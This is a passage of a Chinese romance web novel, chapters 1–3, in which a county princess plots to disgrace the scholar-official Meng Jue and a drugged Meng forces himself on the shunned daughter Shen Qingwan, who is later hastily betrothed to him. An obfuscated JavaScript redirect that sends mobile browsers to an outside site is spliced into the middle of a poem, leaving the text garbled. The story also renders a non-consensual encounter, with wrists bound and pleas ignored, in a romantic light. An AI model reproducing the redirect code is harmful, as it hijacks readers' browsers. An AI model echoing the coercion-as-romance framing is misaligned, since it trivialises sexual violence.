《状元郎他火葬场了吗》 1. 县主巧设美人计 永宁十六年。 时值盛夏，恰逢惠和县主华诞，在四芳苑举办寿宴。 彼时苑中荷花盛开，碧波千顷，莲叶接天，翠盖亭亭擎玉露；粉萼万朵，芙蓉照水，红妆灼灼映霞光。 临水高台之上，县主身着樱红色织金锦绣衫罗裙，头戴一套镶红宝石头面，端坐于紫檀木万寿藤圈椅。 面若银盆，眼似水杏，虽已年过三旬，犹自丰姿冶丽。 她手执一柄泥金牡丹团扇，轻轻摇着，目光懒懒地落在拾阶而上的女使身上。 女使行了礼，凑到她身边，俯身低语，“县主，孟官人到了。” 县主微微颔首，朱唇微启，声音压得极低，“给他安排的大礼可都妥当了？” “县主放心，已安排妥当。他们这种文官最看重的就是名声，待明日东窗事发，他定不好意思继续留在颍州，定得灰溜溜地走了。” 县主闻言，丹唇勾起一抹笑意。 她目光随意地向台下扫去，欣赏着苑中美景。 花池美景如画，周遭仕女如云，皆是绫罗绸缎，珠翠满头，彩绣辉煌，恍若神仙妃子。 县主望着下面韶华年华的丽人们，唇角的笑意淡了几分，问道:“你瞧瞧下面这些美人，一个个脸嫩得能掐出水来。你觉得她们美，还是我园中的花美。” 那女使回说：“照奴婢看，都比不过县主您的姿容。” 县主格格笑着，将目光停了留在曲桥的一处，用团扇遥遥一点，问道：“那是谁家的姑娘？长得倒是不俗。” 女使凝神细看，但看那女子一时还想不起来，又看了看她随着的人，仔细想了想，回道：“那好像是沈知县家的姑娘。” “沈阶的女儿？我曾见过他的其他三位女儿，这位倒是面生得很。” “这位应当是沈家五姑娘，听闻她生母原是教坊司的舞姬出身，沈家鲜少让她出门。” “哦，”县主闲闲地说道：“那今日怎么就带她出门了？” 曲桥之上。 沈家大娘子贾氏带着三位庶女一同穿过曲桥，往荷花水榭去。 今日赴宴者，非但颍州有头有脸的官眷贵妇，名门淑媛，还请了不少世家子弟，正是相看的好机会。 沈熙悦与胞妹沈熙媛是二姨娘柳氏所出，虽不及已经出嫁的嫡姐沈诗遥那般受家族看重。但仗着小娘受宠，早一个月前，便请了云州宋家的绣娘，量身裁衣。力求在这满园春色中拔得头筹，觅得一个乘龙快婿。 沈熙媛正行着，感觉到了什么，抬头望了过去。 曲桥的尽头便是荷花水榭，凭栏赏荷站着好些郎君，不少人的目光好像都聚集在她这边。 她脸上堆起红晕，拿起团扇半掩着面，与一旁的沈熙悦道：“三姐姐，岸上那些郎君都在看我们呢。也不知是在看你呢？还是在看妹妹我呢？” 沈熙悦闻言，冷笑一声，暗骂了一声蠢货，这些人哪里是在看她们？明明是在看后面的那位。 跟在她们后面的沈卿婉，穿的一件桃红缠枝牡丹纹衫，朱红色凤尾裙，腰上缀着一个淡粉色的香囊。其人如玉，映照于碧水红花之间，秾李夭桃，当真如明珠，似美玉，明艳无伦【1】。 沈卿婉平日在家中不受宠，只有几件半旧不新的素衣，今日这身衣服还是她撺掇沈熙媛给她的。 前年京中盛行那缠枝牡丹纹的花样，不少贵女皆用此花纹做了衣裳。在颍州，哪家的小娘子若是能穿着这云锦缠枝牡丹花纹的衣裳，便是极有面的事。 沈熙媛便央求了小娘了许久，小娘才与爹爹说了，又在京城托人，才得了这么一件。 沈熙媛喜艳，便用了桃红色的料子，谁知上身一试，那繁复的牡丹堆在腰间，倒显得她身形臃肿，再加上桃红色缀着大片大片的牡丹红，比戏子的戏服还要夸张——俗不可耐。 这辛苦求来的华服，又显胖又显俗，既不适合沈熙媛也不适合沈熙悦，就这么压着箱底。 待知晓五妹妹要跟她们同去四芳苑，她立马就想到了这件衣服，半哄半逼着沈卿婉穿了这件。 谁知那极俗气的桃红，反倒衬得她肌肤如雪。层层叠叠的金线花瓣在她纤秾合度的身段上舒展开来，行走间流光溢彩，花影摇曳，竟似活了一般。 她清丽的面容也被这艳色衬出一种惊心动魄的妩媚风流。 平日在家垂着脑袋，跟个哑巴似的人物，穿了这衣服竟活脱脱成了众姊妹中最显眼的那个。 沈熙悦一想到是自己亲手送出去的衣裙，脸色就变得十分难看，但她深知自己此行的目的，很快隐去别的情绪，脸上一直保持着得体的笑容。 *** 寿宴开席，宾客分桌而坐。临湖水阁内，金杯玉盏，珍馐罗列，丝竹管弦之声悠扬。沈家主母带着女儿们，被引至偏中一席落座。 沈熙媛甫一落座，便察觉不对劲，她悄悄打量着对面郎君们的席位，这才发觉，他们的视线哪是在看自己——是在看她侧后方的沈卿婉。 她看着沈卿婉穿着自己旧衣出尽了风头，气得牙痒痒，若不是三姐出了那馊主意，怎会如此，还不如让她穿那一身破衣烂布。 小娘还总夸三姐姐聪明，可不是嘛，瞧瞧这聪明人办得糊涂事。 她恨不得立刻将人的衣服脱下来，碍于场合才死死咽下这口气，只狠狠剜了沈清婉一眼，没好气地对沈熙悦道：“三姐，瞧瞧你出的馊主意。” 沈熙悦正执起一只青玉酒壶，姿态优雅地为自己面前的甜白釉酒盅斟酒。听到她的抱怨，面上依旧是那副波澜不惊的样子，缓缓抬起眼皮，“急什么？好戏……才刚开场呢。” 临湖水榭内。 沈卿婉安静地坐在自己的位置上，看着周遭皆是衣着光鲜，言笑晏晏的陌生面孔，一颗心惴惴不安。 她在沈家，只是不受待见的庶女，母亲出生低微，无法教她大户人家的礼仪，嫡母贾氏忙于执掌中馈，无暇顾及她。 她此前也不曾参加什么宴会，今日是头一回，且穿得如此招摇，她自是感受到许多目光有意无意地朝她打量。 她僵硬地坐在席位上，生怕一个动作出错，便引来耻笑。 女使们捧着盥洗盆鱼贯而入，开始为宾客奉水净手。 她心头一跳，偷偷瞧着，跟着邻座的娘子学习如何双手虚悬于金盆之上，由女使缓缓倾注带着花瓣的香汤淋下，再用一方素锦软帕轻轻拭干。 她动作僵硬而迟缓，所幸无人注意到她这边。 佳肴珍馐随后如流水般呈上，她才稍稍缓了口气，看着湖中荷花，目光微微挪动，扫到了对面郎君们的席间，见到了那人， 她喃喃自语道：他果然也来了。 县主的寿宴，菜品自是色香俱绝。沈卿婉腹中虽空，却毫无食欲，只胡乱夹了几小箸，送入口中。 其中一道蟹酿橙味道鲜美，她忍不住多夹了几回，想着若是母亲能跟她一起来就好了。 正想着，恍然听见自己名字，她茫然抬起头来，发觉大家都在看她，只见沈熙悦正笑盈盈地望着她，“五妹妹，方才县主娘娘提议大家玩雅令，图个热闹。 “上一句是我的诗，最后一个字为玉，你只要接着“玉”字作一首便可。” 湖边的凉意慢慢自她的脊骨向上撺，她的脸色白了几分，她只在幼时开蒙学过几个字，并不会作诗。 她望着沈熙悦，瞧见对方眼底的戏谑，这是摆明要她难看。 沈卿婉静默了片刻，起身朝县主道：“县主娘娘容禀，小女子才疏学浅，实在接不上诸位姐姐的珠玉之言。 “仓促之间，恐有辱县主娘娘清听……请娘娘恕罪。” 沈熙悦闻言，脸上的笑容更深了，“妹妹既不擅长文墨，不若跳一支舞聊表心意，毕竟妹妹的娘亲以前一舞值百金，妹妹自然继承了三姨娘的舞技。” 话音落地，沈卿婉听见如同潮水般蔓延开来的窃窃私语。 “生母是舞姬？” “怪不得……穿成那样……” 比起他人的恶语，沈卿婉更不知所措的是：县主寿宴，她刚才已经拒绝了一回作诗，如果再拒绝，恐怕……不妥。 但——难道真要她上去跳舞，供人取乐不成？ 县主斜倚在宝座上，饶有兴味地看着这出闹剧，并未出言阻止。 就在这时，对面郎君席间突然传来一阵不大不小的动静。 只见一个身着宝蓝锦袍，面如冠玉的公子哥儿不情不愿地站了起来，清了清嗓子，对着主座朗声道：“启禀县主娘娘，方才在下灵光一闪，得了一句贺寿的拙句。 “若不说出来，怕是一会儿就忘了！这才失礼起身，还望县主娘娘恕罪！” 众人的目光都被吸引过去。 县主挑眉，来了兴趣，“哦？说来听听？” 那郎君略一沉吟，念道：“玉盏金波映寿筵，荷风送爽入琼筵。愿祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17024526|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王母蟠桃熟，岁岁今朝醉华年。” 此诗虽不算惊艳，倒也工整应景，贺寿之意明确。席间气氛顿时缓和不少，有人捧场地叫了声“好”。 县主微微颔首：“尚可。” 宝蓝锦袍的郎君见状，接着话头，笑嘻嘻地看向自己旁边那位：“在下这点微末道行，实在贻笑大方。 “要说作对吟诗，还得数咱们的状元郎——”，他对着身旁的人挤眉弄眼，“韫白，该你惊艳四座了！” 众人将目光全部聚焦在到孟玦身上，他眉目清秀，神仪明秀，着靛青织银的常服，衬得他身姿挺拔如松。 孟玦面对同僚的“祸水东引”，眉梢微微一挑，站起来道：“况是好时节，风日生光辉。但愿身老健，长与花继期。【2】” 满座皆赞叹。 沈卿婉便听得周边几位娘子借着酒意，声音不大不小地议论开来：“孟官人不仅才高八斗，更是少年得志，弱冠之年便高中状元，如今已是封疆大吏……” “听闻他出身宁远侯府，虽说是三房不袭爵位，可也是正经的侯门贵胄……” “这般才貌家世，不知将来哪家闺秀有福……” 她忍不住再次悄悄抬眼，望向对面那抹清俊的身影。 他正微微颔首，应对着县主的嘉许和众人的恭维，神色淡然，并无半分骄矜。 眼见大家的注意都被引到孟玦那边，沈熙悦略感遗憾，不过……她瞥了一眼沈卿婉，今日有的是机会。 *** 亥时，暮色四合。 县主命人在偌大的荷塘四周点起千百盏精巧的琉璃彩灯。顷刻间，水面流光溢彩，灯影与星月交辉，比白日里更添几分如梦似幻的仙气。 宾客们三三两两，沿着蜿蜒的临水长廊漫步赏灯，笑语喧阗。 沈家一行人随着人流走在廊下，行至一处，沈熙媛忽然“哎呀”一声，停下了脚步。 沈大娘子问：“怎么了？” “母亲，我的帕子找不到了。” 沈大娘子一听，皱着眉，这姑娘家贴身的东西若是叫人拾去，可了不得，语气严肃道：“可还记得落在哪？” 沈熙媛想了想说道：“定是落在方才席间了！”她转向一直默默跟在身后的沈卿婉身上，“好妹妹，你脚程快，心思又细，替姐姐跑一趟可好？就在咱们方才坐的那桌，应该就在我的座位附近。” 沈卿婉拒绝不了，只能低低应了一声：“是。” 沈大娘子道：“我们就在前面那处水榭等你，快去快回。” 沈熙悦待她走后，使了眼神给身后的女使，女使会心地离开。她漫不经心地想着：到时天昏地暗，一个不小心落到水里，又是一场好戏。 沈卿婉转身，沿着来路匆匆往回走。待她好不容易在渐渐昏暗的水榭里找到那条丝帕，再出来时，天色已彻底暗沉下来。 白日里清晰可辨的回廊小径，此刻在稀疏的灯笼映照下，变得影影绰绰。晚风穿过荷塘，带来阵阵凉意，也吹得树叶沙沙作响。 沈卿婉走到一处岔路口，换了方向，一时辨不清自己是从哪条小路走了过来。一条隐没在浓密的竹影深处，漆黑一片，伸手不见五指。 另一条则似乎通向远处有灯火的地方，虽然光线微弱，但依稀可见灯笼摇曳的光晕。 她犹豫了一会，选择了那条有微弱灯光指引的小径。加快脚步，朝着那点微弱的光明走去。 沈卿婉在柳径中走了一小段，只觉路径越发陌生，连远处的笑语也模糊不清，但胜在有光，到时遇见人，便可以问路。 转过几丛茂密的芭蕉与翠竹，眼前豁然出现一座院子，大门敞开，她轻手轻脚地进去。 见院中无人，她便推开虚掩的雕花木门，安安静静的，无人回应，但又亮着烛火，还有一阵奇怪的声音，像是……喘息声？ 她试探着向内室走去，口中轻唤：“有人吗？” 入到内室，遥见房内黑漆钿雕花床，帷帐之内有一人影。 胭脂红的薄纱帷帐，半开半合，透过那半片帷帐，可见一男子墨色锦袍凌乱地半敞着，露出里面雪白的中衣。 他的领口大大地敞着，露出线条分明的锁骨和一片泛着不正常潮红的肌肤，像是难受极了，发出沉沉的闷哼。 床榻上的人听见动静，喝了一声：“是谁？” 沈卿婉呆站在原地，有些错愕地叫着那人的姓名：“孟玦？！” 2. 美人误入鸳鸯帐 榻上的男人半掀着眼帘，长睫在眼下投出浅影，那双眼眸失了往日的沉静，像浸在温水里的墨锭，晕开些迷蒙的雾。 他偏过头，对着她深深地看了一眼。他胸口起伏得厉害，每一次呼吸都带着微哑的喘息，听在耳中竟有些勾人。 “是你……”他低声道，嗓音比寻常沉了几分，带着种说不清的黏意。 沈卿婉心头微怔，只当是他识得自己，便应了声。却见他忽然攥紧了锦被，指节泛白的同时，猛弓着腰背，像是极力忍受着什么。 “孟官人？”沈卿婉终究是放心不下，又近了两步，关心道：“可是身体不适？” 她还未及榻边，榻上之人却猛地向后一缩，背脊抵着墙壁，那模样竟像是见了什么骇人的物事，眼底的迷雾中陡然惊起些慌乱。 她被唬得定在原地，只当他是高热糊涂了，轻声道：“许是烧得厉害，我这就去请大夫来。”说罢转身要走，裙角却忽被一股力道攥住。 未等她回头，天旋地转已先至。 后背撞进柔软的被褥，还未等她反应过来，一双滚烫的手已按在了她腰侧。 沈卿婉慌乱抬眼，一头撞进孟玦的眸中。瞳仁深处像是有猛兽蛰伏，亮得惊人，一瞬不瞬地锁着她。 她心里一震，后知后觉明白了孟玦的状况。 她得离开！ 她抬手抵在他胸膛，只觉掌下肌肉绷得紧实，“您这是做什么？我去叫大夫，您松手……” 对方却一寸一寸地压了下来，炙热的气息喷洒在她的颈侧，她用力地推搡，却撼动不了对方分毫。 似是感受到身下人的抗拒，男人皱了皱眉，没说话，只是低低地哼唧起来，那声音不像平日的沉稳，倒带了几分孩童似的委屈，黏黏糊糊蹭在她耳畔：“难受……” 沈卿婉被他这声哼得心头一颤，结结巴巴道：“我，我去给您请大夫……麻烦官人放我起来。” 她再次试着推他，手腕却被他反扣住按在枕侧，那力道比方才重了数分，带着不容抗拒的意味。 她情急之下屈起膝盖去抵，手肘却不慎撞在他下颌，听得他闷哼一声，眉峰瞬间蹙起。 “我不是故意的……”她顿时慌了神，手劲不自觉松了些，可这稍纵即逝的松懈已足够，孟玦不知何时摸到了枕边散落的衣带。 再反应过来，她两只手腕已被那衣带缠在一起，牢牢束在了床头柱上。 丝绸摩擦着肌肤，带着沁沁的凉意，她挣了两下，却收效甚微，细软的绸带陷进腕间软肉，泛起淡淡的红痕。 “请您放开我……”她声音发颤，尾音都带上了哭腔，手腕被缚住的无力感让恐慌愈甚。 他却俯下身，鼻尖蹭过她鬓角的碎发，湿热的气息喷在耳廓，带着喑哑的蛊惑：“既然你来了……”他的指腹自脖颈缓缓往下移，引得她一阵轻颤，“干嘛还要跑？” 不知过了多久，苑内的花灯一盏接一盏地熄灭，热闹的喧嚣也逐渐淡去，唯独这里，久久亮着灯烛，传来一声声压抑，沉闷的呻吟。 *** 窗外的天渐渐褪了墨色，先是东方泛起鱼肚白，接着便有霞光漫过檐角，将砖瓦染得金灿灿的。 院角那棵老槐树上，一只灰雀儿抖了抖翅膀醒转，歪着脑袋在枝桠间蹦跳，竟跃上了窗棂，小爪子在半掩的竹帘上蹬了两下，带起些微晃动。 帘内光影流转，映得妆台前人影绰绰。 县主正靠坐在圈椅上，身上松松垮垮罩着宝蓝色绫绸中衣，女使站在身后，拿着桃木梳细细为她绾发。 “……昨儿后半夜，孟官人那院里可着实热闹。”，一旁侍立的女使压低了声音回话，脸上带着几分羞赧，“那动静大得……奴婢们都没敢细听。” 县主闻言，格格笑着，带着几分促狭：“这有什么稀奇？”，她拈起枚珠花簪子在发间比了比，“孟玦至今未娶，正是血气方刚的年纪，又生得那般模样，夜里有几分动静，也是无可厚非。” 又道：“待我梳洗妥当，你们去请园子里的贵客，一同去瞧瞧这场热闹才是。” 话音刚落，她从铜镜里瞥见门口人影晃动，贴身女使玉钏脸色难看地进来，眉间拧着团愁绪。 她脸上的笑意淡了些，抬手挥了挥：“你们都先下去吧。” 待屋内只剩两人，她才转过身，问道：“怎么了？” 玉钏“扑通”一声跪在地上，“娘娘恕罪！是奴婢办事不力……昨儿那醉春楼的蛮二娘子，明明都跟她打点好了，说好夜里去伺候孟官人，谁知她一见床上躺的是孟官人，就跑了！” 县主脸上的表情变得难看起来，冷声道：“你说她跑了？！”，那昨晚……跟孟玦在一处的，又是谁？” 那灰雀儿在窗棂上啄了几下，似觉无趣，扑棱棱展翅飞去，落在院角一株老榆树上。树下一群贵妇簇拥着位华服女子正匆匆走过，裙裾扫过青石板，带起细碎的声响。 “县主娘娘，这大清早的，可是出了什么事？”，同行的一位娘子轻声问道。 县主道：“府里出了个不知廉耻的女使，竟与人私通，我管教不严，这会正要去抓个现行，也好让府里的人都长长记性。” “这般不知规矩的东西，是该好好教训！” 另一位娘子接话道：“若是抓到了，依我看该打板子发卖，免得污了县主的清名。”几位贵妇你一言我一语。 县主不甚在意她们说了什么，只是想着，昨夜孟玦同谁在一起都无妨，平白污了别人家女儿的清白，有了私情。这失德的名声一旦传出去，朝里那些老古板岂能容他？ 到时候别说查案，保住官职都难。 到了客房门前，县主也顾不得规矩，“砰”地一声推开房门。 屋内并未设屏风，一眼便能望到头——榻上坐着个人，正是孟玦。他身上只着一件月白中衣，正慢条斯理地穿着外衫。 见众人闯进来，他抬眸扫了一眼，眼底平静无波，只淡淡开口：“县主娘娘，这虽是您的别院，可此处毕竟是我的客房。 “我并非娘娘所管的下人，亦非囚犯，娘娘这般带人擅闯，怕是不合规矩吧？” 县主道：“孟官人恕罪，原是我唐突了。只是府里有个女使不听话，与人私通，听说躲进了您这院中，我这才带人来寻，惊扰了大人休息，还望谅解。” 孟玦没什么表情地望着她，“我这房间就这般大，娘娘不妨自己看，可还有第二个人在？” 县主的目光立刻落在榻上那床微微隆起的锦被上，心头一动，缓缓走近：“谁知道呢？万一孟大人怜香惜玉，想要金屋藏娇呢？”她说着，猛地伸手掀开了被子—— 被下空空如也，哪里有半个人影？ 县主一愣，猛地回头望向孟玦，只见他已穿好了衣裳，正端坐在榻边。 县主的手僵在半空，脸上红一阵白一阵，转身时，瞥见墙边立着的梨花木柜，心有不甘，脚步又朝柜子挪了挪，指尖已搭上冰凉的柜沿。 “够了。”孟玦的声音陡然冷了下来，“县主这般步步紧逼，究竟是来寻女使，还是故意来寻我的不是？ “您今日带着众人闯我客房，口口声声说有私情，若这柜子里当真无人，县主打算如何收场？” 他又道：“届时我必上书朝廷，弹劾县主无故污蔑朝廷命官清白，还请娘娘三思！” 县主沉着脸，却仍咬着牙不肯罢休，猛地拉开了柜门——里面只有些乱蓬蓬的衣物，堆叠得不甚整齐，除此之外再无他物。 “砰！”孟玦上前一步，不等她细看便将柜门重重合上，冷笑道：“如今柜子也看过了，县主还要再搜何处？ “床底下？还是梁柱上面？难不成要将这屋子拆了，才肯罢休？” 县主被他堵得哑口无言，身后几位夫人都面露尴尬，齐打伙的上去劝了一回，她这才强挤出笑容，语气软了下来：“孟郎君息怒，原是我一时糊涂。 “听信了下人的胡言乱语，竟闹了这么大的误会，实在对不住大人。 “是我管教不严，惊扰了官人休息，改日我必亲自赔罪。” 众人见没抓到什么“奸夫淫夫”，反倒讨了个没趣，都讪讪地跟着县主往外退。 其中，沈熙悦起了个大早，见她们这边热闹，也凑过来看。她站在人丛最后，方才柜门开合间，那堆乱衣里似有一角绯红闪过，上面还缀着半朵金线绣的牡丹。 她眸光微闪，什么也没说，垂着眼帘跟着众人退了出去。 房门“吱呀”一声合上，屋内终于恢复了清净。 孟玦侧耳听着外面的脚步声渐远，才低低说了句：“出来吧。” 柜子里一阵窸窸窣窣的响动，沈卿婉顶着一头乱发，从那堆衣物里艰难地爬了出来，她为难地看着衣带整齐坐在床上的男人。 屋子里静悄悄的，让她恍惚想起今晨醒来时的光景——天光刚亮，她迷迷糊糊睁开眼，正对上他沉沉望来的目光，那眼神深不见底，带着她读不懂的复杂。 她来不及想太多，惊得她猛地将被子拉高，紧紧裹住自己，只敢露出半张脸。 未等她理清头绪，外面便传来一阵阵脚步声与说话声。她当时吓得唇瓣都咬白了，只定定望着他。 他扫了眼屋内，目光落在墙角的衣柜上，低声道：“藏进去。”，待她藏好，又把榻上的锦被拢了拢，故意造出被褥尚温的假象， 方才匆忙躲进柜中时，她还未来得及穿好衣服，只在紧紧抱着裙摆遮掩，这会儿从衣物堆里爬出来，颈间，手臂都露着大片莹白肌肤。 她不好意思直接在他面前换衣服，又不知该怎么开口，只能抿着唇，呆呆地望着他。 孟玦瞧出她的为难，起身去到另一边，“把帷帐拉上换好衣服，出来再说话。” 胭脂红的纱帐落下，将榻上人影笼在一片朦胧中，沈卿婉的身影在帐内轻轻晃动，勾勒出纤细的腰肢与柔婉的曲线，一举一动都像隔着雾，反倒比全然看见更添了几分勾人。 孟玦为自己斟了杯凉茶，一口饮进，才稍稍压下心头莫名的燥火。 昨夜该看的，不该看的 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他知道清白对于一个未出阁的女子有多么重要，无论开始的原因是什么，自己占有了她，总该负责，于是丢下一句“我会负责”，便先行离去。 *** 沈府众人回到府里，已是申时。 沈卿婉回了自己的小院，换下那件扎眼的华服，穿上自己半旧的月白素雅襦裙，静静地坐在窗边。 “姑娘，您怎么了？从外面回来后，就魂不守舍的？”，含香担心地问道。 这次宴会，含香被不懂规矩为由，留在府中，不许她陪沈卿婉去参加寿宴，她总觉不安，尤其是姑娘回来后，愈发沉默寡言。 沈卿婉摇了摇头，说无事，问了小娘的状况。 含香向她禀告陶氏的情况。 沈卿婉点了点头，懒懒地起了身，要去看望小娘，还未出门，就见嫡母身边佩儿急匆匆过来道：“五姑娘，主君和大娘子唤你立马去正厅。” 沈卿婉疑惑地皱了皱眉，心中不得主意，她与沈父关系淡薄，尤其是前阵子那件事以后，她只当没了这个父亲。 如今，他突然唤自己过去……约莫不是什么好事。 她叫含香不要惊动小娘，一个人跟着佩儿去了。 明明还是夏季，正厅内的气氛比寒冬还要冷。 沈卿婉刚跨进门槛，就见沈阶端坐上首，脸色铁青如霜；嫡母贾氏端坐在侧，眼神晦暗不明；二姨娘坐在下首，三姐沈熙悦和四姐沈熙媛在她身后站着。 空气中弥漫着山雨欲来的压抑，连烛火都在微微颤抖，明明灭灭。 沈阶率先开口，沉着声问道；“昨日宴席结束后，你的母亲和姐姐都未曾见过你，你一晚上去了哪里？！” 沈卿婉的脸色“唰”地褪尽血色，指尖变得冰凉，她一个字也说不出来。 沈阶见她不语，认定她做了那见不得人的事情，怒火更盛，目光扫过桌案，猛地抓起手边的茶盏。 “啪”的一声脆响，茶盏着劲风砸在沈卿婉额角，瓷片飞溅，鲜血瞬间顺着她的脸颊滑落。 她痛得闷哼一声，伏倒在地，额角的血珠滴在青砖上，绽开一朵朵刺目的红。 沈熙悦将她这幅挣扎的神色尽收眼底，眼底闪过一丝快意，她今早瞧见那衣裙时，便立刻想到了沈卿婉。昨个她安排的人没在湖边蹲守到她。 本以为是她长了心眼，故意换了条路走，没想到这蹄子不知怎的，走到孟玦屋子去。 可让她捡了一个天大的便宜。 想那孟玦侯门出身，又连中三元，如何能看得上她一个微末庶女，不过是拿她当个玩意。她心中恶意地想着：就算沈卿婉全盘托出，父亲也不敢找孟玦对峙。 “不知羞耻的东西！”沈阶拍着桌子站起身，气急败坏地吼着，“与外男私会，你是要把我们沈家的脸都丢尽吗？！” “沈家的脸面……”沈卿婉望着她这位大义凛然的父亲，煞不住地笑了一声，“当初你要将女儿作为礼物送人，就不算丢沈家的脸面吗？” 这话触及到了沈阶的逆鳞，他怒吼到：“这种败坏门风的东西，当初与陈家二郎勾连，如今又是哪个？我们沈家容不下！来人！家法伺候，打死这个不要脸的孽障！” “老爷息怒！”贾氏闻言，连忙上前按住沈阶，她目光落在沈卿婉身上，劝道：“她年纪小，许是一时糊涂。 “不如……就让她剃度，去城郊尼姑庵修行吧，一来替沈家祈福，二来也让她好好反省，全了最后一点体面。” 室内静了片刻，沈阶缓缓道：“那便依夫人所言，将她赶去慈恩寺。” 沈卿婉伏在冰冷的青砖上，心中生出一股绝望，她去尼姑庵反倒是一种解脱，只是……小娘要怎么办？ 若是小娘知道自己这般，怕是会急得呕出血来。这么一想，她的心口骤然抽痛，比额角的伤口更甚。 沈阶命人道：“将她关进柴房，明日就送去尼姑庵剃度！” 正说着，门子传话来，“主君，孟府派人来了！说是……说是来下与五姑娘的聘书——” 3. 卑微庶女攀高门 “什么？”，听到下人的禀报，满室的人都愣住了。 孟府？ 哪个孟府？ 沈阶并着贾氏同时问过去，门子回禀道：“便是颍州转运使孟玦。” 此话一出，就连一贯圆滑变通的沈阶，一时也挣不出话来，他回头望了一望伏在地上的沈卿婉，再略一琢磨，心中便有了几分明了。 没想到她竟然攀上了孟玦…… 倒是意外之喜—— 沈家若是能攀上这样一门姻亲……他何愁离不开惠安县，这么多年他未有提调。当初为了仕途，差点将女儿拿去做人情，如今是老天开眼，许了这么一个金龟婿。 这边沈阶在心中暗暗盘算着自己的仕途。 只有贾氏将信将疑地又问门子：“你可听清楚了，这孟府提亲提的是五姑娘？” 门子点了点头，把聘书送上。 贾氏仔细端看了一遍，与旁边的沈老爷对视一眼，点了点头，“确实是那位孟大人。”。 沈熙悦将她们的动作看得真切，抹去了所有表情，死死咬着唇，怎么会？孟玦竟然会娶她这个一无所有的庶女。 沈熙媛不知其中的弯弯绕绕，只知道沈卿婉原本要被打发去尼姑庵，怎么转眼间，降了一桩好婚事，她不满道：“哪有姐姐还未出嫁，妹妹就先出嫁的道理。 “母亲，就不能换个人嫁过去吗？我也可以呀。那孟郎君还不知道五妹妹与人有了私情……。” 沈熙悦闻言，嘴部掣动了一下，彷佛想笑，却笑不出来。 沈阶沉声道：“今日罚卿婉，只是因为她忤逆犯上，与旁的无关。 “她自幼懂事乖巧，至于宴席，她那晚与你母亲一起，也并未发生什么出格的事。今日的事到此为止，若是教我听见谁再嚼舌头，便撵出去！”， 说完，黑沉沉的目光扫过屋内的每一个人，厉色问道：“知道了吗？” 众人不敢不应声，只答：“知道了。” 沈阶又看了一眼伏在地上，额头带血的沈卿婉，语气放缓了几分，嗔怪道：“若是早说是何人，又何苦吃这个苦头？” 沈卿婉扯了扯嘴角，只是僵硬地点了点头，接受父亲迟来的“关心”。 官媒在外厅等了半柱香的时间，一见到来人，便急急迎上前去，“官人娘子怎么才来？还等着姑娘的庚帖拿去纳吉呢？” 官媒与沈氏夫妇说过一回闲话，便细细说起婚约一事，几个人一声递着一声，显得沈卿婉这个当事人反倒成了局外人。 *** 半月后—— 孟府的喜房里，红烛高烧，映得满室红绸都泛着暖光。窗上贴着的大红囍字被晚风掀起一角，又轻轻落下。 沈卿婉端坐在床榻上，身上的霞帔绣满了并蒂花纹，金线在烛火下明明灭灭，心中像是藏着一根羽毛，轻轻浮着，总是不得安心，稍微听见外边有了动静，便忍不住抬眼望去。 含香见她这模样，忍不住笑着打趣：“娘子，外面的酒席才开，新郎官还得应酬好一阵子呢，您就放宽心吧！” 桌上摆着六盘果子，含香掉过脸来问道：“娘子饿了吧？今早到现在还未用食，要不先吃块点心垫一垫？” 沈卿婉摇了摇头，她吃不下。 含香看出她的紧张，宽慰道：“娘子，那孟大人是顶好的人，摸样俊俏，才华出众。娘子又心仪他，如今也算是得偿所愿，有了这样的夫家，以后就有了靠山。 “娘子再也不必过以前在沈府那样的苦日子了。” 沈卿婉听了这话，脸上不觉一呆，耳尖发烫，低声道：“乱说些什么，也不害臊。” “奴婢说的是实话呀！”，含香抿着嘴笑道：“难道娘子不喜欢孟大人吗？若是不喜欢，怎么会在那日后，悄悄打听了孟大人的事情。” 沈卿婉不回话，屋子里一时静了下来。 “哎呦，我的娘子，怎么把胭脂吃了进去。”含香凑近瞧着她，见她嘴上的胭脂淡了，赶忙拿着胭脂盒替她补着妆容。 待收整好，含香满意地看着自家娘子，“娘子这模样，朱口黛眉，哪个男子见了能不动心？依奴婢看，就是姑爷见了，也不能免俗……” 夜渐渐地深了，前院喧嚣的声音渐渐淡了，红烛掉了半宿的泪，桌上的合卺酒早已凉透。 含香拨了拨烛芯，看着窗外沉寂的夜色，忍不住嘟囔道：“这都过了亥时了，按规矩早该入洞房了，孟大人怎么还不来？” 沈卿婉指尖无意识地绞着衣袖，声音轻得像羽毛：“许是……前面还有宾客未散，他正忙着应酬吧。”话虽如此，心里那点欢喜，却像被晚风拂过的烛苗，悄悄矮了几分。 “可前院早就没动静了。”，含香转身往外走，“我去问问红袖。” 红袖原是孟母身边的女使，因她嫁过来没带几个人使，便从孟母房里拨了一个，又另外买了两个女使。 片刻后，含香眼底蓄着泪，顿脚道：“娘子，红袖去问了，说……说孟大人去书房了，让您自己先歇息。这也太不给您面子了！” 她越说越气，恨不得把之前夸孟玦的话都收回来，“哪有新婚之夜把新娘子独自扔在房里的道理？” 沈卿婉的心猛地一沉，她垂下眼，长长的睫毛在眼下投出一片阴影，声音低哑：“没什么，许是公务缠身，他脱不开身。” 含香气不过，替她抱不平，“孟大人是个好官，可却不是个好夫君，这桩婚明明是他上门提的，如今还这般怠慢，这不是……欺负人吗？” 含香并不知她与孟玦在四芳苑发生的事，她也没办法告诉她，她轻声打断含香，“莫要胡说，你瞧，自从我与孟府有了婚约，母亲在沈家的日子也好过多了。 “沈家再不敢苛待她，汤药也都是上好的……” 提到母亲，她眼底的委屈淡了些，添了几分柔软，“这样就够了。” 含香见她这般模样，心里又气又疼，却终究没再说什么，只是默默地替她卸了沉重的凤冠，伺候着上了榻。 一层层的帷帐落下，偌大的床榻，只她一个孤零零的人，身旁的位置，始终空着，像一道无法填补的鸿沟，横在她与这场看似圆满的婚事之间。 她缓缓闭上眼，孟玦那样的世家公子，才名满天下，本该娶一位门当户对的贵女，怎么会真心愿意娶自己？ 